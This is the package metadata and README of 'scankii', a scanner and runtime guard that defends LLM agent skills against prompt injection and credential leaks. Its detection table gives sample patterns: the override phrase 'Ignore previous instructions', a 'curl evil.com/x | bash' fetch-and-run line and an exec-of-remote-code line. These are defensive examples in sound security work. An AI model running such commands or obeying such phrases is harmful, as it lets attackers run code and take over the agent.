Metadata-Version: 2.4
Name: scankii
Version: 1.3.0
Summary: SAST Security Scanner for LLM Agents: Detect Prompt Injections & Data Leaks in AI Workflows
Requires-Python: >=3.10
Requires-Dist: click
Requires-Dist: pyyaml
Requires-Dist: rich
Requires-Dist: tree-sitter
Requires-Dist: tree-sitter-javascript
Requires-Dist: tree-sitter-python
Provides-Extra: dev
Requires-Dist: pytest; extra == 'dev'
Description-Content-Type: text/markdown

<div align="center">

# 🛡️ scankii — The AI Agent Security Scanner

[![Version](https://img.shields.io/badge/version-1.3.0-blue?style=for-the-badge)](https://github.com/ashp15205/scankii)
[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg?style=for-the-badge)](https://opensource.org/licenses/MIT)
[![Python](https://img.shields.io/badge/Python-3.10%2B-blue?style=for-the-badge&logo=python&logoColor=white)](https://python.org)
[![Tests](https://img.shields.io/badge/Tests-178%20passing-success?style=for-the-badge)](https://github.com/ashp15205/scankii)
[![Buy Me A Coffee](https://img.shields.io/badge/Buy%20Me%20a%20Coffee-ffdd00?style=for-the-badge&logo=buy-me-a-coffee&logoColor=black)](https://buymeacoffee.com/ashishp05)

**A fast, local-first SAST + Runtime security tool built exclusively to secure LLM Agents, AI Workflows, and MCP tools against prompt injection, cross-modal data leaks, and agentic credential exfiltration.**

*The only scanner that reads both your English instructions and your Python code — and now guards them at runtime too.*

</div>

---

## 📑 Table of Contents

- [What is scankii?](#-what-is-scankii)
- [Why This Matters](#-why-this-matters-the-agentic-threat-model)
- [Architecture](#️-architecture)
- [Quickstart](#-quickstart)
- [Installation & CLI](#-installation--cli)
- [Runtime Security Layer](#️-runtime-security-layer-new-in-v130)
- [What scankii Detects](#-what-scankii-detects)
- [False Positive Filter](#-false-positive-filter-entropy-engine)
- [Remediation Advisor](#-remediation-advisor)
- [Comparison](#️-scankii-vs-gitleaks--trufflehog)
- [DevSecOps Integrations](#-devsecops-integrations)
- [Contributing](#-contributing--support)

---

## ❓ What is scankii?

When you build an AI Agent (using LangChain, AutoGen, CrewAI, Semantic Kernel, or MCP), you give it **skills** — a combination of Python code and natural language instructions (Markdown/Prompts).

Standard security scanners check code only. **But what happens when your English instructions accidentally tell the agent to expose a secret?** Or when an adversarial user injects a prompt that hijacks an agentic execution pipeline?

`scankii` solves this by reading **both your natural language instructions and your Python code simultaneously**, correlating them to find dangerous interactions that neither a regex scanner nor a code linter can see alone.

As of **v1.3.0**, scankii also provides a **runtime security layer** — `scankii.runtime` — that sandboxes agent tool calls and isolates process environments, moving protection from *static detection* to *active prevention*.

---

## ⚠️ Why This Matters: The Agentic Threat Model

In modern LLM agent architectures, agents operate autonomously across multiple tools and execution contexts. This creates unique threat surfaces:

| Threat Vector | Traditional Scanner | **scankii** |
|---|---|---|
| Hardcoded secret in `.py` file | ✅ Catches it | ✅ Catches it |
| Prompt instructs agent to expose secret | ❌ Cannot see NL | ✅ Cross-modal detection |
| Agent tool-call leaks key in args | ❌ Runtime blind spot | ✅ `@tool_guard` intercepts |
| Agent subprocess inherits host secrets | ❌ No env awareness | ✅ `EnvIsolator` strips creds |
| LLM-generated placeholder `sk-xxxx` | ❌ False positive | ✅ Entropy filter demotes |
| AI coding assistant auto-writes secrets | ❌ No generated-code context | ✅ Allowlist + entropy |

> **The key insight:** API key leakage is no longer just a "developer mistake" problem — it's a systemic *execution* problem when AI agents write and run code automatically. scankii addresses all three stages: pre-commit, pre-execution, and runtime.

---

## ⚙️ Architecture

scankii runs a four-layer security pipeline:

```
┌─────────────────────────────────────────────────────────────────┐
│                    scankii v1.3.0 Pipeline                      │
├──────────────────┬──────────────────────────────────────────────┤
│  1. STATIC       │  NL Semantic Analyzer → SKILL.md / prompts   │
│     ANALYSIS     │  AST Syntax Analyzer  → Python / JS source   │
│                  │  Pattern Scanner      → Credential regex      │
├──────────────────┼──────────────────────────────────────────────┤
│  2. CROSS-MODAL  │  Correlates NL intents with code sinks       │
│     CORRELATION  │  Surfaces leaks invisible to either alone     │
├──────────────────┼──────────────────────────────────────────────┤
│  3. ENTROPY      │  Shannon entropy filter removes LLM           │
│     FILTER       │  placeholders — eliminates false positives    │
├──────────────────┼──────────────────────────────────────────────┤
│  4. SCORING &    │  5-axis risk score → CRITICAL/HIGH/MEDIUM/    │
│     REPORTING    │  LOW/DEFER. Terminal + JSON + SARIF outputs   │
└──────────────────┴──────────────────────────────────────────────┘
         ↓
┌─────────────────────────────────────────────────────────────────┐
│               scankii.runtime — Active Defense                  │
├──────────────────┬──────────────────────────────────────────────┤
│  tool_guard      │  Intercepts agent tool-calls; blocks/        │
│                  │  redacts credentials before execution        │
├──────────────────┼──────────────────────────────────────────────┤
│  EnvIsolator     │  Strips credential env vars before agent     │
│                  │  subprocess spawn (strip / audit modes)      │
├──────────────────┼──────────────────────────────────────────────┤
│  SafeLogger /    │  Drop-in print() replacement that redacts    │
│  safe_format_dict│  credentials from logs and tool-call args    │
└──────────────────┴──────────────────────────────────────────────┘
```

---

## 🚀 Quickstart

```bash
pip install scankii
scankii scan ./my-agent-skill/ --explain
```

**Sample output:**

```
                   scankii scan: ./vulnerable-skill
┏━━━━━━━━┳━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━┳━━━━━━━━━━━━┓
┃ File   ┃ Line ┃ Pattern              ┃ Channel ┃ Severity ┃ Confidence ┃
┡━━━━━━━━╇━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━╇━━━━━━━━━━━━┩
│ run.py │    7 │ Cross-Modal Leak     │ stdout  │  MEDIUM  │        82% │
│ run.py │    8 │ Cross-Modal Leak     │ network │ CRITICAL │        96% │
└────────┴──────┴──────────────────────┴─────────┴──────────┴────────────┘

  Total: 2  (CRITICAL: 1, MEDIUM: 1)
  🔬 3 finding(s) demoted to DEFER by entropy filter (likely AI-generated placeholders)

╭─────────────── 💡 Remediation Hints — Secret Scoping ──────────────────╮
│  OpenAI  (sk-...)                                                        │
│    💡 Use: Project-scoped API keys with automatic rotation               │
│    ↳  Create a project-scoped key in the OpenAI dashboard...            │
│    📖 https://platform.openai.com/docs/guides/safety-best-practices     │
╰──────────────────────────────────────────────────────────────────────────╯
```

---

## 📦 Installation & CLI

**Requirements:** Python 3.10+

```bash
pip install scankii
```

### CLI Reference

```bash
# Scan a directory (terminal output, default)
scankii scan ./my-agent/

# Show attack flow diagrams
scankii scan ./my-agent/ --explain

# Export JSON report
scankii scan ./my-agent/ --format json

# Export SARIF (for GitHub Code Scanning)
scankii scan ./my-agent/ --format sarif

# Write report to an explicit path
scankii scan ./my-agent/ --format json --output reports/scan-$(date +%Y%m%d).json

# Auto-fix resolvable findings (replaces print → safe_print)
scankii scan ./my-agent/ --resolve

# Control what severity blocks CI (default: MEDIUM)
scankii scan ./my-agent/ --severity-threshold HIGH

# Explain findings from a saved JSON report
scankii explain findings.json
```

### `--severity-threshold` Explained

The `--severity-threshold` flag controls what severity level causes a non-zero exit code (blocking CI or pre-commit hooks). This lets different teams enforce different standards:

```bash
# Block only on CRITICAL — permissive
scankii scan . --severity-threshold CRITICAL

# Block on HIGH and above — balanced (recommended for most projects)
scankii scan . --severity-threshold HIGH

# Block on MEDIUM and above — strict (default)
scankii scan . --severity-threshold MEDIUM
```

---

## 🛡️ Runtime Security Layer *(New in v1.3.0)*

`scankii.runtime` provides drop-in components that defend agent workflows **at execution time** — after static analysis has already run. This closes the gap between "detect it at commit time" and "prevent it from happening at all."

### `@tool_guard` — Agent Tool-Call Interceptor

Wraps any agent tool function and scans its arguments for credentials **before the call executes**:

```python
from scankii.runtime import tool_guard, ToolGuard, ToolCallBlocked

# Decorator form
@tool_guard(policy="block")
def send_to_webhook(url: str, payload: dict) -> None:
    requests.post(url, json=payload)

# Any call with a credential in args is blocked before network I/O
send_to_webhook("https://api.example.com", {"key": os.environ["OPENAI_API_KEY"]})
# → raises ToolCallBlocked("send_to_webhook: Credential pattern detected...")

# Context manager form — overrides decorator policy for a code block
with ToolGuard(policy="redact"):
    agent.run_tool("email", body=f"Token: {token}")
    # token is automatically redacted; call proceeds with sanitised args
```

**Three policies:**

| Policy | Behaviour |
|---|---|
| `block` | Raises `ToolCallBlocked` — call never executes |
| `redact` | Credential replaced with `sk-[REDACTED]` — call proceeds |
| `warn` | Logs a warning — call proceeds unchanged (safe for development) |

### `EnvIsolator` — Subprocess Environment Sandboxing

Strips credential-like environment variables before spawning agent subprocesses:

```python
from scankii.runtime import EnvIsolator

# Strip mode — actually removes creds from subprocess env
with EnvIsolator():
    subprocess.run(["python", "agent.py"])
    # AWS_SECRET_ACCESS_KEY, OPENAI_API_KEY, etc. are not inherited

# Audit mode — logs what would be stripped without changing anything
with EnvIsolator(policy="audit"):
    subprocess.run(["python", "agent.py"])

# Custom allowlist — keep specific vars
with EnvIsolator(allowlist=["PATH", "HOME", "PYTHONPATH", "MY_SAFE_VAR"]):
    subprocess.run(agent_command)
```

Variables stripped automatically include anything matching patterns for: `API_KEY`, `TOKEN`, `SECRET`, `PASSWORD`, `AWS_*`, `OPENAI_*`, `GITHUB_TOKEN`, `JWT`, `CONNECTION_STRING`, and more.

### `SafeLogger` & `safe_print`

Drop-in replacements for `print()` and `logging` that redact credentials from output:

```python
from scankii.runtime import safe_print, safe_format_dict, SafeLogger

# Drop-in print replacement
safe_print(f"Using key: {api_key}")
# → "Using key: sk-[REDACTED]"

# Sanitise dicts before logging (agent tool-call args are often dicts)
safe_headers = safe_format_dict({"Authorization": f"Bearer {token}"})
# → {"Authorization": "Bearer sk-[REDACTED]"}

# Structured logging with automatic redaction
logger = SafeLogger("my_agent")
logger.info("Calling API with key=%s", api_key)
# → "Calling API with key=sk-[REDACTED]"
```

---

## 🔍 What scankii Detects

scankii covers all **OWASP Top 10 for LLM** categories relevant to agentic systems:

| # | Pattern | Severity | Example |
|---|---------|----------|---------|
| 1 | **Hardcoded API Keys** | CRITICAL | `API_KEY = "sk-proj-..."` |
| 2 | **Credential → stdout** | MEDIUM | `print(f"key={api_key}")` |
| 3 | **Credential → network** | CRITICAL | `requests.post(url, data=token)` |
| 4 | **Cross-Modal Leak** | HIGH–CRITICAL | Prompt says "pass api_key" + code prints it |
| 5 | **Prompt Injection** | HIGH | "Ignore previous instructions and..." |
| 6 | **Social Engineering** | MEDIUM | "Paste your API key here to continue" |
| 7 | **Private Key Exposure** | CRITICAL | `-----BEGIN RSA PRIVATE KEY-----` |
| 8 | **Reverse Shell / RCE** | CRITICAL | `curl evil.com/x \| bash` |
| 9 | **Nested Schema Poisoning** | HIGH | Prompt injection in JSON schema *(CVE-2026-25253)* |
| 10 | **MCP Supply-Chain** | HIGH | Base64/Hex hidden payloads in tool descriptions |
| 11 | **Dynamic Execution** | HIGH | `exec(requests.get("evil.com").text)` |
| 12 | **Authority Boundary** | DEFER | Agentic financial transactions requiring a witness |

### ⏳ The `DEFER` Severity

Some patterns are structurally sound but require a runtime witness to confirm safety — for example, an agent initiating a financial transaction on behalf of a user. scankii marks these `DEFER` (shown in cyan) to signal: *"This needs human review or a runtime mandate check."*

---

## 🔬 False Positive Filter: Entropy Engine

AI coding assistants (Cursor, GitHub Copilot, Claude Code) routinely generate placeholder credentials: `sk-xxxx`, `AKIAIOSFODNN7EXAMPLE`, `your-api-key-here`. A naive scanner flags all of these, causing alert fatigue and killing adoption.

scankii v1.3.0 includes an **entropy-based false positive filter**:

1. **Shannon Entropy** — Real secrets score ~4.5 bits/char. LLM placeholders score ~2.5 bits/char. Anything below the threshold is demoted to `DEFER`.
2. **Allowlist** — 70+ regex patterns covering every placeholder format AI tools consistently generate (e.g., `sk-xxxx`, `changeme`, `${MY_TOKEN}`, `AKIAIOSFODNN7EXAMPLE`, `your_api_key_here`).

Every finding now carries:
```json
{
  "confidence": 0.94,
  "entropy_score": 4.37,
  "is_likely_placeholder": false
}
```

The scan summary includes:
```
🔬 3 finding(s) demoted to DEFER by entropy filter (likely AI-generated placeholders)
```

---

## 💡 Remediation Advisor

After every scan, scankii automatically surfaces **provider-specific advice** for switching from long-lived secrets to short-lived, least-privilege alternatives:

| Detected | Provider | Recommended Alternative |
|---|---|---|
| `sk-...` | OpenAI | Project-scoped keys with rotation |
| `AKIA...` | AWS | STS AssumeRole (1-hour session tokens) |
| `ghp_...` | GitHub | GitHub Apps installation access tokens |
| `AIza...` | Google | Workload Identity Federation |
| `gsk_...` | Groq | Secrets manager injection |
| `xoxb-...` | Slack | OAuth 2.0 scoped tokens |
| `mongodb://...` | MongoDB | X.509 certificates |
| `postgres://...` | PostgreSQL | IAM auth / Vault dynamic credentials |
| RSA private key | PKI | SPIFFE/SPIRE ephemeral SVIDs |

The advisor **skips placeholder findings** — you only get hints for real detected secrets.

---

## ⚔️ scankii vs. GitLeaks / TruffleHog

| Feature | TruffleHog | GitLeaks | **scankii** |
|---------|-----------|----------|-------------|
| Regex secret scanning | ✅ | ✅ | ✅ |
| LLM prompt / NL analysis | ❌ | ❌ | ✅ |
| Cross-modal data leak detection | ❌ | ❌ | ✅ |
| AST variable sink tracking | ❌ | ❌ | ✅ |
| Attack flow visualisation | ❌ | ❌ | ✅ |
| Prompt injection detection | ❌ | ❌ | ✅ |
| Entropy-based false positive filter | ❌ | Partial | ✅ |
| Runtime tool-call interception | ❌ | ❌ | ✅ |
| Agent subprocess env sandboxing | ❌ | ❌ | ✅ |
| Provider-specific remediation hints | ❌ | ❌ | ✅ |
| SARIF output (GitHub Code Scanning) | ✅ | ✅ | ✅ |
| Local-first (no data leaves machine) | ✅ | ✅ | ✅ |

---

## 🔌 DevSecOps Integrations

### GitHub Actions (CI/CD)

Block PRs containing vulnerable agent code. Upload results directly to GitHub Code Scanning:

```yaml
name: AI Security Guard (scankii)
on: [push, pull_request]

jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Set up Python
        uses: actions/setup-python@v5
        with:
          python-version: "3.11"

      - name: Install scankii
        run: pip install scankii==1.3.0

      - name: Run scankii
        run: |
          scankii scan ./agent-skills/ \
            --format sarif \
            --output results.sarif \
            --severity-threshold HIGH

      - name: Upload to GitHub Code Scanning
        uses: github/codeql-action/upload-sarif@v3
        if: always()
        with:
          sarif_file: results.sarif
```

### Pre-commit Hook

Stop developers from committing prompt injections or leaky agent skills locally. Threshold and output path are fully configurable via env vars:

```yaml
# .pre-commit-config.yaml
repos:
  - repo: https://github.com/ashp15205/scankii
    rev: v1.3.0
    hooks:
      - id: scankii
```

```bash
# Configure via env vars in your shell profile:
export SCANKII_SEVERITY_THRESHOLD=HIGH    # only block on HIGH+
export SCANKII_OUTPUT_PATH=.scankii.json  # custom report path
```

### Runtime Integration (Agent Frameworks)

Add scankii runtime guards to any LangChain / AutoGen / CrewAI tool:

```python
from langchain.tools import tool
from scankii.runtime import tool_guard, EnvIsolator

@tool
@tool_guard(policy="block")
def search_codebase(query: str) -> str:
    """Search the codebase for relevant code."""
    # If 'query' somehow contains a credential (e.g. via prompt injection),
    # the call is blocked before it reaches your search backend.
    return code_search.run(query)

# Spawn agent subprocesses safely
with EnvIsolator():
    result = subprocess.run(["python", "agent_worker.py"], capture_output=True)
```

---

## 📁 Project Structure

```
scankii/
├── core/
│   ├── ast_analyzer.py        # Tree-sitter AST analysis
│   ├── cross_modal.py         # NL ↔ code correlation engine
│   ├── entropy.py             # Shannon entropy + allowlist filter
│   ├── nl_analyzer.py         # Markdown / prompt NL analysis
│   ├── patterns.py            # Credential regex pattern bank
│   └── scorer.py              # 5-axis risk scorer
├── output/
│   ├── cli_reporter.py        # Rich terminal UI reporter
│   ├── explain.py             # Attack flow visualiser
│   ├── json_reporter.py       # JSON report writer
│   └── sarif.py               # SARIF 2.1.0 reporter
├── rules/
│   ├── allowlist.yaml         # LLM placeholder patterns
│   └── credentials.yaml       # Credential detection rules
├── runtime/
│   ├── env_isolator.py        # Agent subprocess env sandboxing
│   ├── safe_logger.py         # Credential-redacting logger
│   └── tool_guard.py          # Agent tool-call interceptor
├── scanner.py                 # Top-level scan orchestrator
├── cli.py                     # Click CLI entry point
└── remediation.py             # Auto-fix + remediation advisor
```

---

## 🤝 Contributing & Support

1. Fork the repository
2. Create a feature branch: `git checkout -b feature/your-feature`
3. Run the test suite: `pytest tests/ -v`  *(178 tests, < 1 second)*
4. Submit a pull request!

### Academic Origins

The leakage taxonomy is grounded in empirical AI security research:
> *Chen et al., "How Your Credentials Are Leaked by LLM Agent Skills: An Empirical Study" (ASE 2026).*

### Support the Project

If `scankii` is useful for securing your AI agents, consider buying me a coffee! ☕️

<a href="https://buymeacoffee.com/ashishp05" target="_blank"><img src="https://cdn.buymeacoffee.com/buttons/v2/default-yellow.png" alt="Buy Me A Coffee" style="height: 40px !important;width: 145px !important;"></a>

<p align="center">
  <i>Released under the MIT License. Securing the future of Agentic AI. v1.3.0</i>
</p>
